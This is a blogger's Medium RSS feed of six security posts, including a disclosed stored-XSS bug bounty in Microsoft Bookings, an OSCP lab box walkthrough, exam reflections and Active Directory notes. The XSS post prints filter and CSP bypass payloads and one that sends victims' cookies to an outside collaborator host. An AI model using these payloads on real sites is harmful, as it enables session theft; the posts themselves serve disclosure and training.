<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mrtechghost on Medium]]></title>
        <description><![CDATA[Stories by Mrtechghost on Medium]]></description>
        <link>https://medium.com/@mtechghost?source=rss-ac31395c24f5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LKhTTx0NqpnDNsmak_iBmQ.png</url>
            <title>Stories by Mrtechghost on Medium</title>
            <link>https://medium.com/@mtechghost?source=rss-ac31395c24f5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 03:53:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mtechghost/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mistakes I done during my OSCP Preparation.]]></title>
            <link>https://mtechghost.medium.com/mistakes-i-done-during-my-oscp-preparation-44247c1ca5a9?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/44247c1ca5a9</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Fri, 06 Jan 2023 08:25:59 GMT</pubDate>
            <atom:updated>2023-01-06T08:27:13.484Z</atom:updated>
            <content:encoded><![CDATA[<p>Last year I cleared my OSCP exam. I was chasing oscp goal since last 2 years. I attempted it for many times failed due to some mistakes but this time I decided to work on all mistakes and cleared my exam. This blog is about my journey of failure.</p><p><strong>Attempt 1</strong>:- (30 Marks) ( 1 10 mark box + 2 local users)</p><p>My personal aspirations, including a career shift, a company, and many others, kept me occupied. I didn’t take any notes before starting my preparation. I spent my lab time watching videos, reading PDFs, and solving as many Boxes as I could.</p><p><strong>Mistake :-</strong> Lack of commitment, focus.</p><p><strong>Take-away :- </strong>I started focusing on concepts and exercises instead of just cracking boxes.</p><p><strong>Attempt 2</strong> :- (40 Marks) (1 20 Mark box + 1 local user + 1 10 Mark box)</p><p>I began my exam and was informed that I could not meet the minimal system requirements. My version of Windows 7 was unsupported. Due to this problem, my exam started late, which made it difficult for me to focus. However, I wanted to try.</p><p><strong>Mistake</strong> : I didn’t even bother reading the exam guide provided by before this attempt which resulted in frustration .</p><p><strong>Take-Away</strong> :- Keep your exam machine and notes close by and updated at all times. Exam guides should be read, and nothing should ever be taken into consideration without official confirmation.</p><p><strong>Attempt 3 </strong>( 65 Marks) (1 Bof 25 Marks + 20 Marks + 20 Marks)</p><p>This time I started with bof and I was able to complete this box within hour. But then I stuck into rabbit holes and it took long time to get over it. I used Metasploit as last resource which was mistake. I was jumping from one box to another frequently.</p><p><strong>Mistake :</strong> someone said <strong>“All battles are first won or lost, in the mind.” </strong>and I was not able to focus during exam. I was not ready to accept things as they were.</p><p><strong>Take-Away:- </strong>Prepare complete exam plan. Allocate dedicated time for each box rather each step. If you are stuck for while change service or port don’t change box until you pass dedicated time.</p><p>So you must me wondering how I cracked my exam on my 4th attempt. For my 4th attempt I created proper plan using notion. I considered all exam passing scenarios and prepared 3 different plans. I am sharing my notion template you can refer it <a href="https://mrtechghost.notion.site/OSCP-Preparation-Dashboard-e44f0fc683bb4fdc9ecd851a857e64b2">https://mrtechghost.notion.site/OSCP-Preparation-Dashboard-e44f0fc683bb4fdc9ecd851a857e64b2</a></p><p>you can connect with me on my twitter.</p><p>https://twitter.com/mrtechghost</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44247c1ca5a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS vulnerability in Microsoft booking]]></title>
            <link>https://mtechghost.medium.com/stored-xss-vulnerability-in-microsoft-booking-e593de3344e0?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e593de3344e0</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Tue, 27 Dec 2022 03:44:59 GMT</pubDate>
            <atom:updated>2022-12-28T17:08:33.421Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is regarding my finding on microsoft 365. One fine day I was working in my office and I received calendar invite from my colleague. While looking into email I found new (actually old but new for me) service booking by Microsoft. Microsoft booking allows anyone to book service / calendar slots. This application have two interfaces one which is internal and another public facing service page. I decided to check this application in depth. I went to internal booking page started new booking while booking service found one parameter message/notes. I tried to insert various XSS payloads to trigger xss but failed to.</p><p>On analysis, found application allows user to insert link or &lt;a href&gt; tag. Now my focus shifted this tag. I used google to find perfect payload for my attack vector and I found ancher tag can be exploited using href value. Application has various protection mechanism to prevent execution of script. But when I broke javascript word into javas cript application accepted this payload. Now when user click on link provided in booking message this payload will get executed. I was very much excited.</p><pre>&lt;a href=&quot;javas   cript:alert(&#39;document.domain&#39;)&quot;&gt;XSS&lt;/a&gt;      </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*X2F8GUAa87PWKkbocaSvsw.png" /></figure><p>I was like wow that&#39;s great now lets hack it …!!</p><p>But when updated my payload to</p><p>&lt;a href=”javas cript:alert(document.cookie)” &gt;Testing.com &lt;/a&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*QtZ27LKuuYOPbBOXMJB1Xg.png" /></figure><p>I got pop with cookies undefined message that means application have csp protection.</p><p><strong>So we updated our payload to bypass csp protection. The injection uses the </strong><strong>script-src-elem directive in CSP. This directive allows you to target just </strong><strong>script elements. Using this directive, you can overwrite existing </strong><strong>script-src rules enabling you to inject </strong><strong>unsafe-inline, which allows you to use inline scripts. ( </strong><a href="https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass">https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass</a>) Thank’s to portswigger lab.</p><p>&lt;a href=”javas cript:alert(document.cookie)”&amp;token=;script-src-elem%20%27unsafe-inline%27 &gt;Testing.com &lt;/a&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*F5_JI-HMJa4AFJnE-PQbgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*DAGoWJ3jdWi2XgbbKtAZnQ.png" /><figcaption>Cookies pop-up</figcaption></figure><p>and to my surprise I was able to get cookies using xss. Now I wanted to pass these cookies to my server. So I started burp collaborator and updated payload to</p><p>&lt;a href=”javas cript:document.location=’http://l4q4dgmomxzkw6i13q5essmojfp6hu6.burpcollaborator.net/cookiestealer.php?c=&#39;+document.cookie&quot;&amp;token=;script-src-elem%20%27unsafe-inline%27 &gt;Testing.com &lt;/a&gt;</p><p>Here I used document.location in a tag which redirect user on another page and share cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*vdTD2eHGm-Uo8_MOF9th3w.png" /><figcaption>Cookies to burp collaborator.</figcaption></figure><p>Now I wanted to submit this bug but as I am authenticated user from same organization impact would have been low. So I tried same attack from service exposed to public and I was able to perform same attack without authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*7UKCUGwf7Zyxe0fV7L_Ieg.png" /><figcaption>XSS using public calendor</figcaption></figure><p>Now as I am unauthenticated user/attacker severity went low/medium to high. I quickly submitted this bug to Microsoft team and guys at Microsoft was quick to fix this issue and yes they awarded me **** $ for this bug. Thank you Microsoft security team for great help during patching this issue.</p><p>This is my first bug bounty blog so If I have missed something you can ping me on twitter https://twitter.com/mrtechghost</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e593de3344e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kevin — OSCP Proving Ground]]></title>
            <link>https://mtechghost.medium.com/kevin-oscp-proving-ground-1bb5452d5229?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bb5452d5229</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Sat, 28 May 2022 06:45:35 GMT</pubDate>
            <atom:updated>2024-07-16T07:19:39.060Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kevin — OSCP Proving Ground</h3><p>#oscp #easybox #windows #provingground</p><p>Hello guys, Today I am writing a blog for kevin box from offsec proving ground.</p><p>Whenever We get any host machine We should always start with Nmap with basic service and version scan</p><p><strong>Enumeration : Stage 1</strong></p><p>nmap -Pn -sS -sV <strong>IP </strong>&gt; nmapbasic.txt</p><ul><li>sS (syn scan)</li><li><strong>-sV (Service Version) flag</strong></li><li>-Pn (No ping Scan</li></ul><p>Here We stored nmap scan results in the nmapbasic txt file using &gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*_82rGT2VOU92PM4aiyWkHA.png" /></figure><p>On completion of the nmap scan, we got some open ports.</p><p>PORT STATE SERVICE VERSION</p><blockquote>80/tcp open http GoAhead WebServer<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Microsoft Windows 7–10 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp open tcpwrapped<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open msrpc Microsoft Windows RPC<br>49159/tcp open msrpc Microsoft Windows RPC<br>49160/tcp open msrpc Microsoft Windows RPC</blockquote><p><strong>Mindmap</strong></p><p>Port 80 — Visit website &gt; find login &gt; try default credentials</p><p>Port 139/445 &gt; nmap smb enum/vulnerability scan &gt;find active share</p><p>Scan other ports for further enumeration.</p><p>So as per mind map we started with web application. Here we got HP Power Manager .</p><p>Web application step i follow</p><ol><li>Default credentials</li><li>Sitemap</li><li>Robots.txt</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjr_OfC7c4NB-_w4t1cjXA.png" /></figure><p>Surprisingly we logged into web application with default credentials admin/admin and we got to know that application is running hp power manager 4.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZoNs_5gbR4u0DQf-hQcIOg.png" /></figure><p>We then just done google with hp manager 4.2 and got following github code for remote code execution. We also searched for exploit using searchengine .</p><p><a href="https://github.com/Muhammd/HP-Power-Manager/blob/master/hpm_exploit.py">https://github.com/Muhammd/HP-Power-Manager/blob/master/hpm_exploit.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VoW4RomJRlq5V4tChJZkbA.png" /></figure><p>After executing exploit against our target we got, reverse shell with nt authority\system user which is system admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pz7t2gyQAB1z8Tbth_kUQ.png" /></figure><p>That&#39;s all for this blog. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bb5452d5229" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Basics]]></title>
            <link>https://mtechghost.medium.com/active-directory-basics-12c80cb769f0?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/12c80cb769f0</guid>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Wed, 18 May 2022 11:14:20 GMT</pubDate>
            <atom:updated>2022-05-18T11:14:20.213Z</atom:updated>
            <content:encoded><![CDATA[<p>According to Microsoft, an active directory is a directory of different objects present on the network. Active Directory Domain Services stores data and serves this data to domain users and administrators. For Example Active directory Domain Services stores user details like usernames, passwords, phone no, and other user-related information, on request it provides this data to authorized users. Active Directory Domain Services can be managed using Domain Controller. One network can have multiple domain controllers placed for active directory services.</p><p>Active Directory components</p><ul><li><strong>Query and index mechanism</strong></li><li><strong>Active Directory schema</strong></li><li><strong>Global catalog</strong></li><li><strong>Replication service</strong></li></ul><p><strong>Query and Index Mechanism:</strong> These features allow searching and publication of objects with their attributes.</p><p><strong>Schema</strong>: This is a set of instructions that govern attributes and objects in the AD DS.</p><p><strong>Global Catalog</strong>: Global catalog stores information about objects present in the network.</p><p><strong>Replication Service</strong>: As the name suggests, replication ensures the distribution of information across different domain controllers. as above said domain can have multiple domain controllers</p><h4>Active Directory Structure</h4><p><strong>OU or Organizational unit</strong>: OU is a container that stores active directory objects like computers, uses, and shared folders. OU is used to set the same policy across distinct assets.</p><p><strong>Domain</strong>: Its logical group of objects which are in the same active directory.</p><p><strong>Tree</strong>: A tree is a collection of one or more domains. When domains share the same namespace, then those domains are part of the tree. Example. <a href="https://medium.com/mrtechghost.com">mrtechghost.com</a>, <a href="https://medium.com/ad.mrtechghost.com">ad.mrtechghost.com</a></p><p><strong>Forest</strong>: Forest is a collection of different trees with common active directory components like a global catalog, directory schema, logical stricture, and directory configuration. Forest defines the security boundary within these objects.</p><p><strong>For more details follow</strong></p><p><a href="https://bootcamps.pentesteracademy.com/course/ad-beginner-may-22">https://bootcamps.pentesteracademy.com/course/ad-beginner-may-22</a></p><p><a href="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12c80cb769f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking and Defending Active Directory : Bootcamp Review]]></title>
            <link>https://mtechghost.medium.com/attacking-and-defending-active-directory-bootcamp-review-82b738c81f57?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/82b738c81f57</guid>
            <category><![CDATA[pentester-academy]]></category>
            <category><![CDATA[crpt]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Wed, 18 May 2022 11:02:15 GMT</pubDate>
            <atom:updated>2022-05-18T11:16:23.946Z</atom:updated>
            <content:encoded><![CDATA[<h3>Attacking and Defending Active Directory : Bootcamp Review</h3><p>Hello Guys,</p><p>In February 2022, I enrolled in a boot camp for attacking and defending Active Directory. It was a great experience for me. Before joining boot camp, I did not know of Red Teaming. I had completed MCSA training in the past, so I was aware of the Active Directory and its basic concepts.</p><p>First, I would like to thank you, Nikhil Mittal, my instructor and the guy who is known for his contribution to the active directory security domain. Bootcamp differs from the course that you get on the pen tester academy website. In Bootcamp, Nikhil Mittal teaches you in live sessions. You can ask your questions to Nikhil during Bootcamp, this was the best takeaway I felt from this Bootcamp. In this course, you have 22 objectives, and on completion of these objectives, you will find some flags. There is a flag verification panel on the website to submit flags. On submission of all the flags, you get a Bootcamp completion certificate, which is another advantage of this Bootcamp. (<a href="https://www.credential.net/3426307d-a4a6-4b51-add7-3cdc9f3f90ac#gs.13jtye">https://www.credential.net/3426307d-a4a6-4b51-add7-3cdc9f3f90ac#gs.13jtye</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/0*aTR4n-9bd4LSgFkM.png" /></figure><p><strong>Bootcamp Details :</strong></p><p>They divided Bootcamp into 4 live sessions. Which were conducted by Nikhil Mittal. You can play your lab along with Nikhil while doing Bootcamp. But I would recommend attending Bootcamp with full attention, so you will not miss any concept. You will get a recording for the session so you can go back to videos and understand concepts in brief.</p><p><strong>Labs and Assignments :</strong></p><p>The lab contains 22 learning objectives. You can access the lab using a VPN or a web-based system. I used a web browser. The lab was pretty fast and responsive. I felt no lagging during my lab time. Once i got stuck with a network issue and raised ticket to support, they resolved my issue in no time.</p><p><strong>Note Making :</strong></p><p>Note Making is an important part of any exam or training. I am not good at note-making but this time I tried my hands. The notes I took during my learning phase helped me in my exam. I used notion.io for note-making. I divided my notes into different parts, like. Sometimes i take time notes from particular attacks or sometimes I took notes for lateral moment activities. Everyone has a unique style of note-taking so you can develop your own.Exam</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/0*vPghcx7IjfTeEIT3.png" /></figure><p>CRTP Exam :</p><p>We have given the student machine with low privilege users and we have to go for privilege escalation. After getting a privileged user for the student machine, you have to do recon and compromise 5 server machines. You get 24 hours to compromise these machines, but to complete your exam you get 25 hours. Pentester academy gives you another hour to set up your box. I completed my setup within 10 min which was super easy.</p><p>Conclusion: CRTP Bootcamp is the best way to learn and complete your CRTP certification path. Every day in your lab is worth it, just focus on learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82b738c81f57" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perfect way to start learning hack : tryhackme.com]]></title>
            <link>https://mtechghost.medium.com/perfect-way-to-start-learning-hack-tryhackme-com-b69d68aa1842?source=rss-ac31395c24f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b69d68aa1842</guid>
            <dc:creator><![CDATA[Mrtechghost]]></dc:creator>
            <pubDate>Mon, 12 Jul 2021 14:48:18 GMT</pubDate>
            <atom:updated>2021-07-12T14:57:34.293Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tryhackme.com : great place to start learn about hacking.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHkT6_KCgYNqUJ7ze2xfzw.png" /></figure><p>Are you really want to start learning ethical hacking but worried about where to start?</p><p>Before 5 years i was also searching for the answer of same question. I found answer after giving my dedicated 3 years to cyber security. I got to know cyber security is not just limited to web application or host hacking.</p><p>So I joined CCNA, MCSE and Linux administration classes at local institute to learn these courses. Then i started learning web application basics and after that I started learning advanced technologies.</p><p>So you must be thinking of time i took to complete my journey, dont worry I found work around for you to learn these skills.</p><p>You can join</p><p><a href="https://tryhackme.com/path/outline/presecurity">TryHackMe | Cyber Security Training</a></p><p>Where you will find different paths to learn these skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*6UldktDeThQWvv_VlnHx7g.png" /><figcaption>Try Hack Me learning Paths</figcaption></figure><p>These five categories have 15 different rooms which will guide you through your journey of learning basics.</p><p>From Lan to windows access control everyting is covered in this tryhackme path. You must be worried about labs and other tools. So dont worry tryhackme have every machine deployed over cloud, you simplly need to start these machines and connect them with given Credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gf7qg90U6yjYWjzcpTU52g.png" /></figure><p>And yes if you join this track and complete before 15th july you be able to get tickets and you can earn many vouchers (security+, OSCP) using these tickets.</p><p>So go ahead and join today.</p><p><a href="https://tryhackme.com/signup?referrer=30c6fd8d32c6ffe3abcbe78ce269d4f3f4e95edd">https://tryhackme.com/signup?referrer=30c6fd8d32c6ffe3abcbe78ce269d4f3f4e95edd</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b69d68aa1842" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>